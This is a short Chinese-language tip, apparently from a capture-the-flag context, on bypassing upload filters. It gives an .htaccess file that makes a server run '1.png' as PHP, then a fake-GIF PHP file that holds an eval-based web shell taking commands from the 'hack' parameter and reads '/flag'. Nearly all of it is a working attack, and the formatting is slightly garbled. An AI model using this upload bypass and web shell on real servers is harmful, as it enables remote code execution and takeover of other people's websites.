使用.htaccess来绕过限制
上传: .htaccess
txt
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>txt
SetHandler application/x-httpd-php然后传php:
php
GIF89a
<script language='php'>
phpinfo();
@eval($_REQUEST['hack']);
show_source("/flag");
</script>